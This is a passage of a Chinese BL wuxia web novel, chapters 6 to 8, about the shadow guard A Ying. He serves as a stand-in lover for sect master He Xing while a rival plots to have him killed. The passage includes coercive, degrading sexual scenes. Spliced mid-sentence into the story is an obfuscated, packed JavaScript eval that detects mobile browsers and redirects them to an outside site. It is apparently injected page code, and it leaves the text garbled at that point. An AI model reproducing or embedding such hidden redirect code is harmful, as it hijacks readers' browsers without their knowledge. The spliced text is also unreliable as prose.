只有,一双织金蟒纹靴踏碎积雪,停在阿影眼前。 靴面上金线绣着的蟠龙在阳光下熠熠生辉,刺得阿影眯起了眼。 “喂。” 十五岁的贺邢蹲下身来,大氅的貂毛领扫过阿影冻僵的手指。 少年俊朗的面容带着玩味的笑意,伸手拂去阿影睫毛上的冰霜, “啧,你和旭荟长得真像,说说,犯了什么错要被这样罚?” 阿影的喉咙干得发不出声音,只能轻轻摇头。 雪粒从他发间簌簌落下,在阳光下像撒了一头细碎的泪。 “哦?” 少年贺邢挑眉,忽然凑近了些, “那就是没犯错?” 他转头对身后的侍卫笑道, “有意思,在我剑阁的地界,居然有人敢随意处置我剑阁的人。” 阿影呆住了。 少阁主说话时呼出的白气拂在他脸上,带着淡淡的温度。 这一瞬间,阿影意识到眼前的这个少阁主是想要救自己。 “起来吧。” 贺邢站起身,漫不经心地用脚尖点了点阿影的膝盖, “旭荟那边我去说,这事是他理亏,他不会再来找你麻烦。” 可阿影的双腿早已失去知觉,膝盖仿佛长在了雪地里。 他试着挪动,却只能无力地晃了晃身子。 “啧。” 少年贺邢突然俯身,一把扣住阿影的手腕。 少阁主温热的手掌像烙铁般灼人,阿影只觉一股大力传来,整个人就被拽了起来。 “喂,你站好。” 贺邢的声音在耳边响起,带着不容抗拒的力道。 阿影踉跄着站稳,这才发现少阁主的手仍牢牢扶着他的肘部,源源不断地传来暖意。 “站稳。” 贺邢松开手的瞬间,忽然蹙眉,他偏头打量眼前这个雪人般的影卫,忽地打了个响指。 身后侍卫立即捧着鎏金食盒上前。 盒盖掀开的刹那,浓郁的药香混着热气扑面而来,一盏琥珀色的参汤在雪光映照下泛着金芒。 “这是父亲非要给那病秧子的。” 贺邢用银匙搅了搅汤,忽然恶劣地勾起嘴角, “不过么,我倒是觉得,不如喂狗。” 说罢将汤盏往侍卫手里一塞,“赏这个影卫了。” 阿影冻僵的手指根本捧不住瓷盏。 那侍卫是个中年女子,在贺邢好整以暇的注视下,面无表情地喂阿影喝这比阿影金贵千万倍的汤。 “咳咳咳——” 阿影被呛得眼角泛红,却不敢漏出一滴。 汤里百年老参的苦味混着蜜枣的甜,是他这辈子尝过最奢侈的味道。 “咳咳……” 阿影慌忙用袖子擦拭嘴角时,贺邢已经转身离去,走向旭公子那屋子里。 玄色大氅在雪地上拖出长长的痕迹,像把利剑划破纯白。 少阁主甚至没有回头看一眼,仿佛方才的施舍,不过是漫不经心弹落肩头一片雪花,不值一提,而阿影也确实是个卑贱到不值一提的人。 阿影望着那个背影,忽然觉得,喉间的参汤烧得心口发疼。 站在落雪中,阿影看着 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阿影最想要的的东西,贺邢就这么轻而易举地随意抬了抬手,给了。 叫阿影从未走出过那个雪夜。 此后十年,阿影总在不经意间望向贺邢。 看少阁主在练武场将玄铁扇舞成银虹,看少阁主在议事厅把玩着玉扳指气哭长老,看少阁主漫不经心地离开,又在某一个夜色之中回来。 阿影喜欢贺邢。 这种喜欢更像是想象中的依赖和渴望。 他知道得不到,因为贺邢喜欢旭公子。 旭公子眼中的世界分三六九等,像阿影这样下贱的人是不允许接近的,更不允许长得和贵人相似, 而贺邢眼里众生平等——都不过是无趣的蝼蚁。 从此以后,阿影咬着牙将剑法练到极致,接最危险的任务,直到浑身是血地跪在老阁主面前,换来一句“今后你跟着邢儿”。 成为贺邢贴身影卫那日,阿影真的很高兴,他这一生中从来没有这么高兴过。 哪怕他出生就因为两形人之身体,被父母遗弃,成为了一个小乞丐,乞讨,直到被老阁主捡回剑阁。 阿影不太知道高兴是什么意思,但是那一天,阿影真的很高兴。 默默地在暗处守护贺邢,对于阿影来说,就已经非常幸福了。 直到三日前那场鸿门宴。 贺邢捏碎酒杯时,阿影就知道“醉仙欢”无药可解。 当阿影在柴房主动解开衣带时,看见贺邢猩红的眼底闪过一丝错愕。 阿影低头,衣衫落地,赤着跪在了贺邢脚边: “属下…可以。” 这句话耗尽了阿影十年积攒的勇气。 那时,阿影心想,还好自己长了一张和阁主心上人有三分相似的脸,虽身体有异,但已然是最好的选择了。 凭着这张脸,想必阁主也不会太过排斥。 6. 第6章·替身 剑阁的规矩向来严苛,影卫,就应该像影子一样,随时随地的潜伏在暗处保护着主人。 可贺邢偏要反其道而行。 毕竟贺邢觉得,为了及时的治疗自己的心痛,还是把阿影放在明处吧,放在自己身边。 于是,他们因为“醉仙欢”而滚到床上的第四天,阿影就被贺邢揪出来,时时刻刻带在身边,哪里也不许去,贺邢去哪里他就得跟到哪里,一时之间,羡煞旁人。 这个旁人,指的正是旭荟。 旭荟这两日正巧奉了父亲之命,来剑阁邀请贺邢参加旭荟的婚宴。 父母之命,媒妁之言,旭荟心有不甘,心想着还要再见贺邢一面,他们一定要好好的谈一谈,他不甘心就这样放弃贺邢。 哪怕,哪怕贺邢从来都没有接受过他。 可是!贺邢是旭荟从小就喜欢的人。 小时候,旭荟身体非常差,但是,那个时候恰恰是贺邢最意气风发的时候。 旭荟记得,小时候自己总倚在药香弥漫的轩窗边,看贺邢在庭院练剑。 少年贺邢的衣袂翻飞如鹤,剑尖挑落的晨露能映出虹光,玄色劲装束出窄腰,剑锋挑落满树海棠。 意气风发,风流肆意。 十八般武艺,样样精通。 况且贺邢又拜入旭荟父亲门下,旭荟日日都可以看到贺邢练剑,冷峻却又惹眼。 有强大,又健康,让旭荟真羡慕,很喜欢,很想占为己有。 更何况,贺邢是剑阁的少阁主,只要贺邢站在旭荟身边,无数羡慕的目光都会往旭荟身上砸,极大地满足了他的自卑和虚荣心。 可后来一切都变了。 “邢哥哥,我心悦你。” 十五岁那年,剑阁,旭荟在夜色里桃树下拦住贺邢,企图献上一个吻。 却被对方用玄铁扇抵着肩膀推开。 贺邢那日的眼神,旭荟至今想起仍如芒在背。 “旭荟,” 少年贺邢的玄铁扇抵在旭荟肩头,力道不重,却冷得刺骨, “别恶心我。” 贺邢嘴角噙着惯常的玩味笑意,说出口的话却淬了毒, “我不好龙阳,也不喜欢操男人。” 如今武林民风开放,男男成亲亦有不少,但是终归只是少数,更多的还是阴阳结合。 若是一些根基深厚的豪门世家,自然是不允许自家子孙断子绝孙的。 不喜欢男人。 贺邢不是说不喜欢男人吗! 旭荟他此次前来剑阁,表面是为送帖,实则是听闻了那个荒诞传闻——贺邢竟将个低贱影卫时刻带在身边,宠得没边。 更可笑的是,那影卫还生着与他相似的脸。 探子说,贺邢对一个低贱的影卫很是偏爱,无论如何都要带在身边,足以彰显宠爱。 这个影卫还长得与旭荟有几分相似,旭荟一时之间又是庆幸,又是嫉妒,又是愤怒。 庆幸贺邢终究是念旧的,庆幸这个影卫不过是自己的替身。 可是又不受控制地嫉妒、愤怒这个影卫得到了属于自己的东西。 —— 今日,贺邢心情原是不错的。 清晨的镜湖笼罩着一层薄雾,朝阳将水面染成碎金。 贺邢斜倚在湖心亭的雕花栏杆上,手中鱼竿随意垂落,在平静的湖面点出一圈圈涟漪。 “接着。” 他突然将另一根鱼竿抛向身后的阿影。 玄衣影卫下意识接住,却发现光溜溜的鱼钩上什么饵料都没挂。 “我今日兴致好。” 贺邢用扇骨轻敲掌心,眼中闪着恶劣的光,“咱们比比,看谁的鱼多。” 他忽然凑近,呼吸喷在阿影耳畔, “输了的人要答应赢家一个条件,不允许拒绝。” 阿影垂眸看着空荡荡的鱼钩,长睫在眼下投出浅淡阴影。 他安静地坐下,将鱼线投入水中,姿态端正得仿佛在完成什么重要任务。 日头渐高。 贺邢的鱼篓里不时传来扑腾声,而阿影的鱼线始终纹丝不动。偶尔有鱼儿游过,也只是好奇地碰了碰那枚空钩,又摆尾游走。 于是,贺邢懒洋洋地抛着鱼钩,他偏头瞥向身侧——阿影正捧着根空荡荡的鱼竿,发尾黑发被湖风吹得微乱。 让贺邢很想揉一揉。 他想什么自然是什么,当然也伸手做了,看着对方睫毛在光影里颤了颤。 又半个时辰过去,贺邢的鱼篓里活蹦乱跳着七八尾肥鱼,而阿影的篓子干净得能照出人影。 “看来胜负已分。” 不用再等了,贺邢扔下鱼竿。 他一把扣住阿影手腕,将人抵在朱漆栏杆上。 亭外是波光粼粼的湖水,稍有不慎就会坠入水中。 “主、主人……” 阿影被迫后仰,腰身弯出惊心动魄的弧度。 “呃!” 可是,下一秒,贺邢的唇舌已经覆了上来,带着不容抗拒的力道。 贺邢的大拇指腹刮过喉结时,阿影浑身一颤,脚差点碰翻地上的鱼篓。 “喂,愿赌服输。” 贺邢咬着他耳垂低语,手指灵巧地挑开衣带, “幕天席地,别有一番滋味,你说是也不是?” 亭栏硌在腰际时,阿影下意识攥紧了朱漆栏杆。 贺邢的吻带着龙涎香的侵略性,从耳垂一路碾到锁骨,最后叼住他喉结含糊,手指突然探入衣领。 “主人、别…嗯呃——” 阿影被揉得腰肢发软。 可是……幕天席地?! 怎么能幕天席地? 这里可是湖心亭,说不定时时刻刻都会有旁人路过! 被人看到了怎么办? 涟漪荡开处, 惊起一滩鸥鹭。 原本还在担心着,可是渐渐的阿影被吻得几乎室息,眼尾泛起一片湿红。 他的后背紧贴着冰凉的朱漆栏杆,身前却是贺邢滚烫的胸膛,就好像怎么逃也逃不开。 两人的呼吸交错间,阿影干裂的唇被反复碾磨,渗出一丝湿意和艳色。 只见贺邢眯着眼,拇指重重擦过那抹润色,声音低哑: “怎么了,亲了这么多次,还是学不会换气?” 闻言,像是听到了一声质问,完全没有领会到这是在调情,阿影的睫毛颤得厉害,喉结滚动着却发不出声音。 “主人……” 阿影的手指无意识地攥紧了贺邢的衣袖,指节都泛了白,像是溺水之人抓住唯一的浮木。 “罢了,看来,是亲得不够。” 贺邢低笑一声,忽然扣住阿影的后颈,再次覆了上来。 这次的吻更加凶狠,几乎像是惩罚。 贺邢地舌尖撬开阿影不自觉紧张而紧咬的牙关,肆意掠夺,阿影的腿软得几乎站不住,整个人都在细细地发抖。 阿影的唇被贺邢吮得发麻,呼吸彻底乱了节奏,眼前一阵阵发黑。 被吻得几乎窒息,阿影眼尾泛起潮湿的红晕,胸腔剧烈起伏着,却不敢伸手推开。 实在是,贺邢的唇舌带着灼人的温度,将阿影的唇瓣碾磨得生疼,舌尖反反复复顶开齿关时,阿影颤抖着呜咽一声,喉结在对方掌下无助地滚动。 “唔…呃——主……” 眼见着完全是喘不过气了,贺邢低笑,松开了对方,拇指重重碾过阿影眼角,将那揉得艳红: “笨死了,这么多次还学不会。” 阿影急促地喘息着,睫毛湿漉漉地黏在一起,唇间还残留着被肆虐过的酥麻。 他张了张口,却不知该说什么——影卫的规矩里,从没有教过该如何回应主人的亲吻。 贺邢稍稍退开,看着怀里人失神的模样,指腹摩挲着他红肿的唇瓣: “下次再咬紧牙关,不让我进去……” 他俯身,在阿影耳边轻声道, “那别怪我,晚上,我就一直撑着你的嘴,叫你再也闭不上嘴。” 湖风裹挟着水汽拂过, 阿影散落的发丝被汗水浸透,黏在绯红的颈侧,随着急促的呼吸轻轻颤动。 而贺邢的指尖缠绕着几缕乌发,发尾有点干燥,贺邢决定给阿影好好的补补,大补。 “……” 阿影的唇瓣微微张开喘息,红肿的唇珠上还残留着被啃咬的痕迹。 贺邢指腹抚过时,能清晰地感受到那处的温度——像是被蜜糖浸透,连带着他的指尖都沾上了甜腥,连带着心尖都跟着发颤。 阿影到底会什么妖术? 真是奇了怪了。 实话实说,贺邢觉得不可思议。 他们之间实在是太近了,贺邢眯着眼,指腹摩挲着阿影泛红的唇角,难得觉得,此刻静谧得恰到好处。 其实,气氛原本不错,对吧? 贺邢也觉得气氛原本很好。 ——若没有那一声刺耳的呼唤。 “邢哥哥!” 旭荟的声音划破湖面的宁静,带着压抑的哭腔与不甘。 他站在不远处十步开外的柳树下,,指尖死死攥着衣袖,眼眶通红,像是受了天大的委屈。 正死死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433911|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着贺邢扣在阿影腰间的手,那修长结实的五指正暧昧地陷入低贱影卫的玄色衣料里。 下一秒,贺邢眉头一皱,眼底的餍足瞬间化作不耐。 但他仍扣着阿影的腰,连头都懒得回,只冷冷道: “旭荟,谁准你过来的?” 旭荟呼吸一滞,目光落在阿影被揉皱的衣领上,喉间发紧:“你、你们…我……” “!” 阿影下意识想要退开,却被贺邢一把按回怀里。 朱漆的栏杆发出不堪重负的吱呀声,阿影的腰肢几乎要折成不可思议的弧度,又被贺邢的手垫着,没有直接压在硬邦邦的栏杆上。 “滚。” 被这样冒冒失失打扰了兴致,贺邢的声音比湖风还冷,毫不留情。 被心上人这么一轰,旭荟的瞳孔骤然收缩,指尖深深掐进掌心,精心修剪的指甲几乎要嵌入皮肉: 那个卑贱的影卫,那个不过是与自己有三分相似的替身,此刻竟敢如此放肆地依偎在贺邢怀中! 那影卫玄色衣袍凌乱地半敞着,露出影卫颈间斑驳的红痕,在阳光下刺目得令人作呕。 那张与自己相似的脸上泛着潮红,眼尾还噙着未干的泪光,活脱脱一副狐媚惑主的模样! 贱人!贱人! 而贺邢——那个连旭荟多看一眼都要皱眉的、不近人情、桀骜不驯的贺邢,此刻竟纵容地揽着那影卫的腰肢,亲昵得仿佛在把玩什么珍品。 眼睛瞎了吗?! “邢哥哥!”旭荟的声音尖利得破了音,“你知不知道怀里抱着的是个什么货色?一个下贱的、下贱的影卫——” “你会后悔的…” 完全不可置信的看着眼前的一切,旭荟的声音隐隐约约发抖, “他不过是个赝品…他不过是我的替代品,对不对?” 一瞬间,湖风忽转凛冽,陡转直下,阿影在贺邢掌下的身躯猛地一颤。 他后背紧贴着朱漆栏杆,冷汗浸透里衣,在寒风中凝成一片的冰凉。 实不相瞒,旭荟的话像淬毒的银针,一根根钉进阿影骨缝里—— 是啊,不过是个赝品。 一个趁着主人情毒发作时,不知廉耻,爬上主人床榻的替身。 阿影的指尖无意识地蜷缩起来,那里还残留着洗不净的血腥气。 多少暗夜里的杀戮,多少见不得光的肮脏勾当,把这双手染得永远也擦不干净。 而旭公子…… 阿影恍惚想起那年雪地。 十五岁。 旭荟裹着白狐裘站在廊下,连呵出的白气都带着矜贵的药香,因为身娇体贵故而被众人捧在掌心。 嫉妒?羡慕? 阿影只是很羡慕,旭公子从小就得到了主人的照顾。 他自己都没意识到,自己现在浑身僵硬又在发抖。 “冷?” 贺邢忽然说。 阿影这才惊觉自己竟在发抖,连牙齿都在打颤。他慌乱地垂下眼睫,不敢让主人看见自己眼底的卑怯: 多可笑。 一柄杀人的凶器,居然也配自惭形秽。 “属、属下…” 话音未落,贺邢突然将他往怀里重重一按。 隔着衣料,阿影清晰地听见主人的心跳声。 那样近,近得让他想起几日前柴房里,自己是如何被这具胸膛压得喘不过气…… “别抖了,知道你脸皮薄,我们把他赶走,接着玩儿。” 贺邢的唇瓣紧贴着阿影的耳廓,灼热的吐息裹着压迫感,一字一句烙进肌肤。 他忽然低笑,犬齿不轻不重地磨了磨那泛红的耳尖, “不过,脸皮这么薄,怎么当我的影卫?” 简直就是在调情。 “邢哥哥!”旭公子咬牙。 “剑阁的守卫该换了,竟放任外人惊扰本座雅兴。” 贺邢冷淡又桀骜,就像一柄出鞘的利剑一样,谁都碰不得,碰一下都得被扎得满手血。 闻言,旭荟的脸色瞬间惨白如纸。 他踉跄着后退两步,精心准备的云纹锦靴踩进泥泞,昂贵的衣摆顿时沾满污渍: “邢哥哥,我是奉父亲之命来……” “不用再拿师傅当挡箭牌。” “滚。” 这个字像柄出鞘的利剑,刹那间斩断旭荟的所有痴心妄想、未尽之言。 贺邢终于侧首,半张脸浸在阴影里,眼底的寒意让旭荟如坠冰窟: “今日看在师傅面上,留你体面,若再有下次——” “——休怪我不留情面。” 7. 第7章·谋划 当日,旭荟离开湖心亭时,袖中的手指几乎要将掌心掐出血来。 他回望了一眼——贺邢仍搂着那影卫,低头不知说了什么,惹得那低贱的影卫耳尖泛红,慌乱地垂下眼帘。那般亲昵的姿态,刺得旭荟眼眶生疼。 “不过是个下贱的影卫……” 他喃喃自语,眼底的嫉恨几乎要溢出来,“也配,也配?!” 旭荟踩着怒火回到西厢,侍女们战战兢兢地跪了一地。 他不得不听父母之命媒妁之言,可是,旭荟心里就是放不下贺邢——那是旭荟最想抓住的人,也是让旭荟第一次产生占有欲的人。 贺邢太耀眼了,让旭荟完全不甘心放手。 从来都没有得到过,所以,无论如何都想要得到。 “噼里啪啦!” 他猛地掀翻案几,上等的青瓷茶具砸在地上,发出清脆的碎裂声。 “滚!” 旭荟满脸阴鸷,怒斥仆从。 他身边小心翼翼的侍女仆从不敢怠慢,连忙离开,生怕惹祸上身。 “不过是个下贱的影卫!” 旭荟抓起铜镜狠狠掷向墙壁,镜中那张与阿影三分相似的脸顿时支离破碎。 指尖传来的刺痛让他稍稍回神,低头看见掌心被碎瓷划出的血痕。 “公子!”唯一留下的贴身侍从儒白,小心翼翼地递上药膏,“您的伤……” “滚!” 旭荟怒斥他,在屋内来回踱步。 忽然,他停下脚步,眼中闪过一丝精光,他突然对儒白说: “你晚些去请杀堂张老来,就说,本公子有要事相商。” 杀堂张老,是旭荟父亲的好友,也算是旭荟的叔叔,关系匪浅。 入夜时, 两道身影在西厢里对坐。 烛火将张老那布满皱纹的脸映得阴晴不定,五十几岁的年纪,已然有了老态,他摩挲着茶杯,沉声道: “公子深夜相召,所为何事?” 旭荟不动声色的笑了笑,眼里满是杀意: “张老可觉得,近来阁主身边那个影卫,太过碍眼了?” 闻言,张老眼中精光一闪: “公子是指…阿影?” “正是。”旭荟冷笑, “不过是一个卑贱的影卫,整日与阁主同进同出,连议事厅都敢踏足。长此以往——” 他意味深长地顿了顿,“杀堂的位子,怕是要改写了。” 茶杯在张老手中发出轻微的碎裂声,张老算是剑阁的老人了,也是得力干将,但是自从贺邢上位之后,杀堂就不那么受重视,也远没有以前风光。 更何况,以张老的眼光看,阿影是这一批影卫里面最厉害的一个,所以才会成为阁主的贴身影卫。 一般来说,阁主的贴身影卫做上5年,基本上可以成为剑阁之中的一个堂主。 而偏偏阿影极其擅长杀人,最适合的,就是杀堂。 以贺邢那几乎是摸不着看不透的性格来说,完全有可能把最重要的杀堂堂主之位给阿影。 届时,张老一切心血付之一炬,这又叫他怎能甘心? 老人浑浊的眼中闪过一丝杀意:“公子有何高见?” “听闻明日阁主要赴青峰宴,” 旭荟压低声音,“不如趁此机会,派那影卫去血鸦谷走一趟,剑阁以剑闻名,血鸦谷就有一把好剑即将问世。” “血鸦谷?”张老眯起眼睛,“那可是十死无生之地。” 旭荟把玩着腰间的玉佩,轻声道: “自然是要他死在那边,才叫他去的,为了剑阁而死,是那腌臜货色的荣幸。” 张老神色微动,半晌缓缓点头:“老夫明白了。” —— 窗外,一道纤细的身影猛地捂住嘴。 张雪手中的食盒差点落地,她慌忙后退,转身就跑,心跳如擂鼓。 她是张老的女儿,但因为是张老五儿五女之中最没有武学天赋的一个,所以一向不受重视,只做一些侍女的事情。 可虽然杀人的手法不好,她藏匿的本事实则是最好的。 听到如此要闻,她提着裙摆一路狂奔,直到确认无人追赶才停下喘息。 月光下,少女的脸色惨白如纸。 “不行…得告诉阿影!” 在如今的江湖之中,在这红尘人世多的是卑微之人,而卑微之人往往更愿意同情同样的卑微之人。 张雪因为不会杀人、不敢杀人,所以在这剑阁之中举步维艰。 她唯一一次完成任务是和阿影搭档,阿影没有抛下她,而是帮张雪把她的那份也一起做了。 但凡恩情,张雪都会记在心里。 影卫居所外,张雪踩着斑驳的树影来回踱步。 终于趁着侍卫换岗的间隙,她瞥见远处那道熟悉的身影——阿影踏着月色归来,玄色劲装上还沾着阁主寝殿特有的沉水香。 阿影好不容易从贺邢那回来,过来整理好东西,马上又要再过去侍寝。 这两日,日日都是这么过的。 “阿影!”张雪藏到窗前,指甲轻叩窗棂的声音三长一短。 “吱呀——” 窗扉无声滑开,阿影立在阴影交界处。 月光为他苍白的侧脸镀上银边,颈间未消的咬痕在领口若隐若现。 他神色平静,仿佛方才从主人那边归来不过是寻常公务。 “血鸦谷有诈!” 张雪急切的低语在夜风中发颤,“张老和旭公子他们要在谷中杀你!” 她攥住窗框的指节泛白,“他们故意引你去死!” 闻言,阿影的眼神依旧平静如古井。 他抬手整理束腕的动作带着倦意,袖口滑落时露出的腕骨上,还留着白日里被贺邢的手掌按出的红痕。 “多谢。”阿影只说。 这两个字轻得像片落叶。张雪不可置信地瞪大眼睛: “阿影,你…你就这样认命?” 她突然想到了什么,连忙说, “阿影,你可以去求阁主!他如今那么宠你,怎么忍心看你被害死?” “张小姐。” 阿影面无表情, “影卫的命本就是主人的,剑阁虽然以剑闻名,但是主人并不爱剑。” “多谢张小姐的提醒。” 阿影立在窗前,月光将他的轮廓切割成一道锋利的剪影。 在贺邢以外的人眼中,他永远是一柄出鞘即见血的凶器——冰冷、锋利、毫无温度。 “明枪易躲,暗箭难防。” 张雪无比担忧,“我也只知道这么多了,阿影你千万保重。” “嗯。” 单音节的回应消散在夜风里。 窗扉合拢的瞬间,阿影眼底最后一点微光也随之熄灭,重新变回那潭死 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阿影低垂着眼睫,齿尖深深陷入下唇,本就淡色的唇瓣被咬得泛白,几乎要渗出血丝。 可影卫的眼尾却微微泛红,湿润的睫毛在灯光下闪着细碎的光,像是夜露凝在寒刃上,稍一触碰就会坠落。 ——这一刻,他竟想起了贺邢。 想起那人漫不经心把玩他发梢时,指尖缠绕的温度; 甚至想起今日湖心亭里,贺邢贴在他耳边说的那句“我们接着玩儿”,嗓音低哑,带着不容抗拒的命令,却又藏着几分阿影不敢深思的温柔。 阁主的嗓音低哑,像是逗弄,又像是调情。 阿影猛地闭了闭眼。 他不该想的。 影卫不该有杂念,不该有私心,更不该……奢望什么,更别说,他不过就是个替身玩物而已。 可当阿影重新睁开眼时,眼尾的湿意仍未褪去。 灯芯“啪”地爆了个灯花,火光忽明忽暗,像是他此刻挣扎的心绪,终究……无法彻底熄灭。 残灯将熄未熄,在阿影苍白的肌肤上投下最后一点暖色。 “……唔。” 他死死咬着下唇,齿尖陷入柔软的唇肉,几乎要尝到血腥味。 可眼尾那抹红却怎么也压不下去,湿润的睫毛轻颤着,像是被雨水打湿的蝶翼。 ——贺邢。 这个名字在阿影心底碾过,带起一阵隐秘的疼。 阿影突然抬手捂住眼睛。 不该想的。 他是影卫,是剑,是盾,不该是……会因主人一个眼神就心尖发颤的私心冒犯者。 “啪——” 最后一缕青烟在灯盏上盘旋消散,黑暗如潮水般吞没了整个房间。 阿影靠在冰冷的墙面上,缓缓松开紧咬的唇,舌尖尝到一丝铁锈味。 他茫然地望着虚空,瞳孔还未能适应黑暗,眼前残留着灯芯熄灭前的光斑,如同他此刻飘忽不定的思绪。 门外更漏声传来。 ——该去给阁主侍寝了。 阿影低头整理衣襟,雪白的里衣在黑暗中,像是一层脆弱的茧。 唯有贺邢能打开这一层茧,把真正的阿影剥出来,拉入这红尘人世间。 8. 第8章·又梦 夜色如墨,剑阁的廊檐下只余几盏孤灯摇曳,在青石板上投下斑驳的光影。 阿影披着一件单薄的黑色外袍,衣摆随着夜风微微浮动,像是融进了这浓稠的黑暗里。 他的脚步极轻,几乎无声,唯眼睛映着月光,泛出一点冷测的微芒。 剑阁阁主的寝屋内,沉香袅袅,幽淡的香气在空气中缓缓流淌。 屋内极静,唯有烛火偶尔爆出两声细微的灯花,映得窗棂上的雕花影子微微晃动。 贺邢斜倚在窗边,修长的手指间把玩着一柄玄铁扇,扇骨漆黑如夜,唯有扇面边缘透着一线寒光, 像是蛰伏的凶兽微微睁开的眼。 他望着远处起伏的山峦,月色勾勒出他锋利的侧脸轮廓,眉目如画,却又透着几分邪肆坏意。 平日里张扬不羁的剑阁阁主,此刻安静得像墨画。 唯有眼底偶尔掠过的暗芒,才让人想起他骨子里的桀鸯。 “主人。” 门外传来阿影的嗓音,恭敬而克制,像是怕惊扰了屋内的宁静。 贺邢唇角微勾,指尖轻轻一敲扇骨,声音懒散:“进来。” 下一秒,门扉无声滑开,阿影垂眸踏入屋内,赤足踩在冰凉的地砖上,没有一丝声响。 阿影跪伏在地,姿态驯顺,一路膝行至贺邢脚边,如同收起了爪牙的猛兽,乖顺得不像话。 贺邢低眸看阿影,玄铁扇的扇尖轻轻挑起阿影的下巴,迫他抬头: “等你许久,总算来了。” 烛光映照下,阿影的眉眼如画,睫毛低垂,在眼下投下一片浅淡的阴影。 影卫的唇色很淡,像是被水洗过的花瓣,唯有眼尾还残留着一抹未褪尽的红,像是被人欺负狠了,却又不敢声张。 贺邢的指尖顺着影卫的下颚滑上,指腹轻轻摩挲着他的脸颊,触感微凉,像是上好的冷玉。 “怎么,今日倒比往日更乖?”贺邢低笑,嗓音里带着几分戏谑。 阿影的睫毛轻轻颤了颤,却依旧垂眸不语,只是微微抿紧了唇。 贺邢眸色微深,指尖忽地用力,掐住他的下巴,迫他直视自己: “说话。” 阿影的呼吸微微一滞,喉结滚动了一下,才低声道: “属下,已然洗净备好,前来为阁主侍寝。” 贺邢盯着他看了半响,忽然轻笑一声,松开手,指尖在他颈侧轻轻一划,带起一阵细微的战栗。 “真乖,咬着。” 贺邢手腕一翻,玄扇“咔”地横卡进阿影齿间。 沉甸甸的扇骨压着舌尖,冰凉的金属味瞬间充斥口腔。 阿影睫毛颤了颤,涎水不受控制地从唇角溢出,顺着扇面凹线蜿蜒而下,在地毯上涸出深色痕迹。 “真乖。” 贺邢又夸了一句,低笑着用靴尖抵住他肩胛,靴底碾过白日留下的痕迹。 “唔。” 阿影闷哼一声,却仍顺从地塌下腰背,双手撑地跪伏下去。 灯光透过纱帐,将影卫爬行的身影投在墙上,活像只被驯服的野兽。 呼吸声,在寂静里格外清晰。 小狗总想要得到主人的夸奖,就像阿影迫切的想要看一眼贺邢。 阿影仰起的脸上还挂着水光。玄铁扇已经沾满唾液,在光下泛着湿漉漉的光泽。 贺邢眼神一暗,忽然俯身,带着薄茧的拇指重重擦过他殷红的唇角: “今晚教你个新规矩。” “对主人要诚实。” 懒散地倚在窗边,月光透过雕花窗棂,在贺邢俊美的侧脸上投下斑驳的阴影。 他赤足踩在阿影肩上,足底感受着影卫绷紧的肌肉,嘴角勾起一抹玩味的笑。 “阿影。” 他俯身,指尖挑起阿影的下巴,迫使那双总是低垂的眼眸看向自己, “你一进来就心不在焉的,有事瞒着我?” 贺邢对这些东西很敏锐,阿影虽然藏的很好,但是,贺邢能感受到阿影的情绪没有那么定了。 阿影的睫毛颤了颤,喉结滚动,却最终只是咬着扇子摇了摇头。 他跪伏在地,脊背绷成一道漂亮的线,墨发散落,遮住了他半张脸。 贺邢眯起眼。 阿影向来如此,沉默、顺从,像一把没有情绪的剑。 可今晚,贺邢却敏锐地察觉到一丝异样,他觉得心里很不舒服。 阿影是他的贴身影卫,人是他的,命是他的,凭什么心不是他的? 贺邢盯着跪在窗边的阿影,胸口那股闷痛渐渐被另一种情绪取代——恶劣的、掌控的、近乎暴虐的。 他忽然想看看,这个素来冷静自持的影卫,若是被逼到极致会是什么模样? 像狗一样匍匐在地,摇尾乞怜? 还是咬着扇子,只能发出呜咽的哭腔? 贺邢的指尖轻轻敲击窗沿,嘴角勾起一抹玩味的笑。 “阿影。” 他懒洋洋地开口,“头再抬高点。” 阿影垂眸,抬头,姿态恭顺,仿佛早已习惯这样的召之即来。 下一秒,贺邢伸手,一把扣住他的下巴。 “呵。” 贺邢冷笑一声, “不诚实啊,既然你不愿意说,那今晚就忍好了,一点都别出声。” 他俯身,在阿影耳边轻声道,“要是让我听见一点声音……” 有力的手指滑到阿影后颈,重重一按,“我就让你脱一层皮。” 阿影闭了闭眼,咬着主人的扇子,点点头。 于是贺邢居高临下地看着他,心里那股暴虐的欲望越发强烈。 他想象着阿影摇尾乞怜的模样,想象着阿影泪眼朦胧却无法出声的狼狈,甚至想象着……若是此刻有旁人进来,看到剑阁最锋利的刃被驯服成这副模样,该是什么表情? 会是什么样的呢? 哪怕被逼到极致,以阿影这个闷死的性格,恐怕也只是咬着扇子,眼尾泛红,呼吸凌乱。 可以掐着阿影的后颈,逼他俯首帖耳,或是按着阿影作为武者那脆弱的咽喉,看阿影因窒息而涨红的脸…… 甚至更恶劣些,像贺邢无数次想象的那样,武功高强的影卫,就该被碾碎,只能咬着扇子呜咽,连求饶都发不出。 那画面,光是想想就让人血脉贲张。 可贺邢还未开始折磨影卫,心口突然传来一阵尖锐的疼痛! 那痛楚来得毫无预兆,像是一把钝刀生生剜进血肉,疼得他眼前一黑,整个人直接从窗边跌了下去! “主人!” 阿影几乎是本能地扑过去,玄铁扇掉在地上,一把接住贺邢。 阿影顾不得自己刚刚被踩得生疼的肩膀,手臂稳稳地托住贺邢的身体,掌心却触到一片冷汗——贺邢的脸色惨白,唇色尽失,连呼吸都变得急促。 “滚……” 贺邢咬牙,想推开阿影,可手却使不上力。 阿影没松手,反而将他扶得更稳,内力稳稳的输入贺邢经脉,低声道: “属下冒犯,属下知罪。” 输再多的内力有什么用! 贺邢疼得眼前发黑,他知道,这莫名其妙的痛楚,一定是那颗该死的“琉璃心”在作祟! 它就像个多管闲事的判官,每次他只是稍微对阿影过分一点,就要让他痛不欲生! “阿影……” 贺邢喘息着,突然一把攥住他的衣领,“你是不是……给我下了什么蛊?” 阿影一怔,随即连忙摇头:“属下不敢。” “呵、” 贺邢冷笑,可心口的疼痛却让他连冷笑都维持不住。 